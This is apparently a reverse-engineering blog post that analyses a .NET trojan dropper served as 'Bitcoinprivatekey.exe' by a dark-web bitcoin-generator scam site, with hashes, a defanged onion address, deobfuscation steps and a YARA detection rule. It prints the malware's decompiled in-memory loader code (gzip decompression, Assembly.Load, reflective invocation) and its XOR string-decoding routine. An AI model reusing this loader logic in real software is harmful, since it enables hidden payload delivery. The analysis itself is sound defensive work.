Analyzing Dark Web Malware
Posted on April 13th, 2025 by Blas
Getting the sample
There are many good ways to find interesting and novel malware samples in the wild. Intentionally visiting a malicious website in the dark web and knowingly downloading malware onto your internet-connected machine is not one of those ways.
For one, a sample coming from the dark web makes no difference than if it were coming from an email attachment or a compromised .com
website. You will find the same type of malware no matter the source. Additionally, malware (especially Windows malware) should be handled in a controlled environment like a VM and stored with a different extension, like .mal_
, to avoid accidental detonation.
Regardless of safe practices and good ways to do things, there is a great hit of adrenaline that comes with finding something novel the wrong way, so we will be doing just that!
NOTE: If you want to look at this sample yourself in a VM I highly recommend the FLARE-VM since it will already come with all the tools used here.
The Source
There are many ways you can find a malicious website. You can have a quick dig through emails in your spam inbox or you can Google for websites that offer things that are too good to be true like free hacks for your favorite video game. For this case, I took the route of the deep-web given its reputation for being polluted by scams in every corner, therefore we may not spend much time at all before we come across some malware. I decided to start my journey by visiting the Torch homepage, a deep-web search engine with a colorfully ad riddled homepage.
I originally intended to search for scams through Torch but one was already staring me in the face. The Torch homepage had an amazing offer to mine free BTC for me! The “BTC Generator to mine free Bitcoin” website at hxxp://qygfha2tmxzaoqbpzc3vi4mv2vmremdi2omzx5hs57lfltqxjhaz4yad[.]onion/
just asks you to provide your BTC wallet address, how much BTC you want them to mine for you, and then you’re off to untold riches with the click of the “Generate Bitcoins” button.
Unfortunately, the input is inconsequential to getting any BTC at all since you’ll be prompted to download the “private key” to retrieve your BTC. The downloaded sample named Bitcoinprivatekey.exe
has a SHA256 of aed0687d976bdc5e1858c7cbf1233bbd70c75879a0e2bfc49b97e8ca4b1f6812
and it seems to have been submitted for the first time to VirusTotal (VT) just 8 hours before I stumbled upon it. This is a generally good sign when it comes to malware analysis since the sample might have some novel characteristics to it. I do want to note that I don’t specialize in Threat Intel, but from my experiences it’s not too common to stumble on a malware that uses something never seen before. This means that just because there isn’t much information provided by VT, it doesn’t mean we’re staring at something that exploits some new 0day to steal credentials.
The malware has been labeled as a trojan by VT so let’s see if we can get any more details about this. VT has compilation related information but I always like using Detect It Easy to see if anything else is picked up. Below is what you should see with this sample.
No new findings here, but it does confirm this is a .NET
sample so the next step is to open it up with DNSpy and start looking at the binary directly. DNSpy is a debugger and Assembly editor that is my defacto tool for whenever I encounter a .NET
sample. Usually I would expect these samples to be somewhat obfuscated by some sort of tool like ConfuserEx or .NET Reactor, and in this case it seems we have something similar to that.
Something you can usually rely on for an initial attempt at deobfuscating a .NET
sample is using de4dot, a deobfuscator and unpacker that was last supported around 2020 and is still incredible.
C:\Users\blas\Downloads\de4dot-cex> de4dot.exe Bitcoinprivatekey.mal_
de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot
Detected Unknown Obfuscator (C:\Users\blas\Desktop\Bitcoinprivatekey.mal_)
Cleaning C:\Users\blas\Desktop\Bitcoinprivatekey.mal_
Renaming all obfuscated symbols
Saving C:\Users\blas\Desktop\Bitcoinprivatekey-cleaned.mal_
The command above cleaned up some of the strings and class names so that we could at least have a fewer headaches when poking around the code.
A Quick Look
When starting analysis on DNSpy, I always like to right click on the sample name in the Assembly Explorer pane and select “Go to Entry Point”. This helps for times when a program is large and has a lot of red herrings.
using System;
namespace Zbdshazrz
{
public static class Gowman
{
public static void Main()
{
Ndojaylc ndojaylc = new Ndojaylc();
ndojaylc.Uuvjvkz();
ndojaylc.Hshaw();
ndojaylc.Dqstvpwvz();
ndojaylc.Embwbkwv();
}
}
}
The entry point seems to create a new object of the Ndojaylc
class and calls four functions contained within it. The next step is to double-click on the class name to explore these four functions.
A quick look at the functions called within Zbdshazrz
leaves me with a feeling that this would be an in-memory dropper with some embedded payload. One of the reasons for this feelin is the code is over 1MB in size yet we see very little actual behavior taking place throughout the Main
function. Furthermore, the functions seem to be fetching data from somewhere and loading it before executing it. This is interesting since VT sandboxes found some remote servers that this sample appears to be connecting to.
The dropper nature of the sample might explain the low volume of static analysis tool output from VT considering the payload might be encrypted. Despite this, we have enough to get started with a report since the VT sandboxes did find Network Based Indicators, and we know the sample loads something in memoyr, but now we want to validate our hunches and have absolute concrete proof to explain why we feel this is an in-memory dropper. Let’s dig further and validate our hypothesis.
A Deep Look
Below is an abridged clean version of the four functions mentioned earlier.
public class Ndojaylc
{
public void Uuvjvkz()
{
List<object> list = new Zkdvnkvpvei().Mqllsh();
this.arrayList_0.Insert(0, list[0]);
((IList)list).Clear();
list = Enumerable.Empty<object>().ToList<object>();
}
public void Hshaw()
{
byte[] llvhl = this.arrayList_0[0] as byte[];
List<object> list = new Bqrhsvqkicr().Ilkjni(llvhl);
this.arrayList_0.Add(list[0]);
}
public void Dqstvpwvz()
{
Type value = (this.arrayList_0[1] as Assembly)
.GetTypes()
.FirstOrDefault(new Func<Type, bool>(
Ndojaylc
.<>c
.<>9
.method_0
)
);
this.arrayList_0.Add(value);
}
public void Embwbkwv()
{
Type type = this.arrayList_0[2] as Type;
this.arrayList_0.Clear();
type.InvokeMember(
Class1.smethod_0(9386),
BindingFlags.InvokeMethod,
null,
null,
new object[0]
);
}
private readonly ArrayList arrayList_0 = new ArrayList();
}
We can break down analysis to each function individually to get a better idea of what’s going on considering they’re small.
Uuvjvkz
The function populates a list with what is returned from the call to Zkdvnkvpvei().Mqllsh()
. Below is a simplified version of Mqllsh()
.
public List<object> Mqllsh()
{
List<object> result;
byte[] byte_ = this.get_byte();
result = new List<object>
{
this.gzip_decompress(byte_)
};
return result;
}
private byte[] gzip_decompress(byte[] byte_0)
{
byte[] result;
using (MemoryStream memoryStream = new MemoryStream(byte_0))
{
byte[] array = new byte[4];
memoryStream.Read(array, 0, array.Length);
int num = BitConverter.ToInt32(array, 0);
using (gzipStream = new GZipStream(memoryStream, Decompress))
{
byte[] array2 = new byte[num];
int i = 0;
for (; i < num; i += gzipStream.Read(array2, i, num - i))
{
}
result = array2;
}
}
return result;
}
private byte[] get_byte()
{
byte[] array = null;
int num = 0;
while (array == null && num++ < 100)
{
Thread.Sleep(new Random().Next(100, 500));
array = Itclxdvpom.Byte_0;
}
return array;
}
The function Mqllsh()
calls get_byte()
to fetch the value Byte_0
from Itclxdvpom
after waiting a random amount of time, between 100
and 500
milliseconds. The delay before accessing the data suggests the sample might be waiting for the data to become available, or it may by trying to avoid resource contention. It’s also worth noting the sample does have an embedded resource with random bytes, it seems this might be what is being used in this case. The sample then passes this data to gzip_decompress()
which attempts to decompress the data via GZipStream
.
Considering this is the first function called in Main
, it is clear the malware reads a payload and decompresses it in memory.
Hshaw
The function takes the output data from the previous function and passes them through to Bqrhsvqkicr().Ilkjni(llvhl)
. The output is saved as a list to the same arrayList_0
variable. The function Ilkjni
loads the data passed through as Assembly.
public class Bqrhsvqkicr
{
public List<object> Ilkjni(byte[] Llvhl)
{
Assembly item = null;
try
{
item = Assembly.Load(Llvhl);
}
catch (ReflectionTypeLoadException ex)
{
item = ex.LoaderExceptions[0].GetType().Assembly;
}
return new List<object>
{
item
};
}
}
Dqstvpwvz
This function gets the types defined in the Assembly code from the previous function. The code uses FirstOrDefault
as a way of filtering the types to find the first type that matches the criteria defined in Ndojaylc.<>c.<>9.method_0
. The code then adds this found Type object to arrayList_0
.
Embwbkwv
This is the final function in the sequence and it calls type.InvokeMember(Class1.smethod_0(9386), BindingFlags.InvokeMethod, null, null, new object[0]);
to invoke the Assembly code via Class1
.
The specific function called within Class1
is smethod_0
, a one-liner that that retrieves data stored within the application domain’s data store using the specified key.
public static string smethod_0(int int_0)
{
return (string)((Hashtable)AppDomain.CurrentDomain
.GetData(Class1.string_0))[int_0];
}
The value for string_0
is set in the abdriged code below:
static Class1()
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
Class1.delegate0_0 = new Class1.Delegate0(Class1.smethod_1);
Stream stream_ = Class6.smethod_0(
executingAssembly.GetManifestResourceStream(
Class1.delegate0_0(0)
)
);
Class1.string_0 = new Class1.Class2().method_1(stream_);
}
This calls various functions from multiple other parts of the program. The functions are easy to read and understand so we would be better served with a quick paragraph summary of each one.
The code for Class6.smethod_0
takes an input stream, reads data in chunks, and ultimately decrypts the data. The data may also be XOR modified at some point before or after the decryption, and the code uses one of five symmetric cryptography algorithms (DES
, AES
, TripleDES
, Rijndael
, or RC2
) to decrypt the data. The function returns a new stream containing the decrypted data. Information like the public key for decryption seems to be stored within the Assembly that is passed through to the function meaning the information is all self-contained.
The code for Class1.Class2()
appears to dynamically generate and execute code from the data stream generated in Class6.smethod_0
. Its method_1
takes a stream, uses it to define a dynamic Assembly and type, and then invokes a method that processes the stream and returns a string. The function Class2.method_0
seems to be responsible for defining the methods within the dynamic type in Class2.method_1
by base64-decoding and XORing a hard-coded string.
Getting Some Data
The code to Base64-decode the hard-coded string in Class1.Class2.method_1
can be copied from DNSpy and run in isolation to see what the strings it may produce. Copying snippets of code and running them in isolation is a common strategy when analyzing .NET
samples since it can spare you having to debug the entire program from the beginning to trigger the right conditions for decryption. Below is the snippet used to decode the strings.
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Reflection.Emit;
using System.Text;
public class HelloWorld
{
public static void Main(string[] args)
{
byte[] array1 = Convert.FromBase64String("68d0D1NQluxiHVpY28puFFgT+c10Hltf1Mc8PFNJ/dBzCU98y81iFlRRwYVgHkJi/strF3hc1ds8FEZi8dBiCkNc1NdzAg1a3cpYN1NT38pvQHFYzOp+C1N7ytFqM1dT3NJiQFFYzOFJGltYg/dpH1NF99g8KVNc3O1zCV9T34VGH1IG39tzJGZSy9dzEllTg9liD2l+zcx1HlhJ/NFqGl9Tg+1iD3JczN88QgIOiIVGCEVY1dxrAmVYyshiCQ1u0dN3F1N8y81iFlRRwft/C1pSytt1QFRc2ttrDVsGy9NoEFNJ3c1z");
for (int i = 0; i < array1.Length; i++)
{
switch (i % 6)
{
case 0:
array1[i] ^= 184;
break;
case 1:
array1[i] ^= 190;
break;
case 2:
array1[i] ^= 7;
break;
case 3:
array1[i] ^= 123;
break;
case 4:
array1[i] ^= 54;
break;
case 5:
array1[i] ^= 61;
break;
}
}
string[] array2 = Encoding.UTF8.GetString(array1).Split(new char[]
{
';'
});
Console.WriteLine(string.Join("\n", array2));
}
}
The code produces the following strings:
System.Reflection.Assembly
GetEntryAssembly
get_FullName
op_Inequality
get_Length
GetTypeFromHandle
get_Name
IndexOf
ReadString
Add
get_Position
get_CurrentDomain
SetData
9430
AssemblyServer
SimpleAssemblyExplorer
babelvm
smoketest
If we see the strings at the bottom, we might notice one is babelvm
. This lines up with the behavior we observed in the call to Class1.Class2()
since the decrypted payload was loaded in memory and interpreted via other calls to what appeared to be some custom opcodes. The strings also match on a BabelVM detection rule.
rule INDICATOR_EXE_Packed_Babel {
meta:
author = "ditekSHen"
description = "Detects executables packed with Babel"
snort = "930043-930044"
strings:
$s1 = "BabelObfuscatorAttribute" fullword ascii
$m1 = ";babelvm;smoketest" ascii wide
$m2 = { 62 00 61 00 62 00 65 00 6c 00 76 00 6d [1-20] 73 00 6d 00 6f 00 6b 00 65 00 74 00 65 00 73 00 74 }
$m3 = "babelvm" wide
$m4 = "smoketest" wide
$m5 = /lic[A-F0-9]{8}/ ascii wide // in particular 'lic70F93782'
condition:
((uint16(0) == 0x5a4d and 1 of ($s*)) or (2 of ($m*)))
}
Up to this point, the analysis continues to suggest we’re dealing with an in-memory dropper. Additionally, the program may be manipulating a resource contained within it’s .NET Resources
with a SHA256 of 8c3fb4341792e183d9230b230b3504f2bc48d9f3a2cadeb4619059f06cfa4b71
. We haven’t pin-pointed to an exact spot where this resource is loaded yet, which leads me to believe it is likely done in one of the steps that deobfuscated strings in-memory. We would know for sure with either more time or through dynamic analysis, but from experience we can tell that an embedded resource that looks like a bunch of noise in a sample that is an in-memory dropper strongly suggests it is a second stage payload, in this case it likely encrypted with BabelVm.
Next Steps
At this point, we would want to take a deeper look at the sections that access the data from the resource in the program. Once we know for a fact how the second payload is accessed and loaded, we would want to try and decompress and decrypt the payload such that the remaining data is what is run by Babel. This is something that could be done within a VM or could be spared altogether by using a sandbox that might have memory hooks to extract what is loaded there.
Once the payload is obtained, you can try running it through a Babel deobfuscator and see where you land. The key thing here is to be absolutely sure about what you’re doing and not operate on assumptions. If you’re not able to make any firm conclusions within the time you are given, then that’s alright, just document the facts and be clear about anything that you have a “feeling” about but weren’t able to fully confirm or prove. For now, you at least have the VM output from VT and you know you’re dealing with an in-memory dropper.
This is the difficult part of malware reverse engineering since the curiosity wants you to keep it going but the deadlines want you to wrap it up. I kept things concise for this article to give you a quick look at what you would find out in the wild, in this case something coming from the dark web. We will close this sample out for now and see if curiosity wins for a second installment.
If you liked this blog then feel free to connect with me at any of the links at the top of my website! I am creating more material around reverse engineering through KOSEC - email me via the link at the top right corner of my site if you’re interested. Any feedback is also welcome!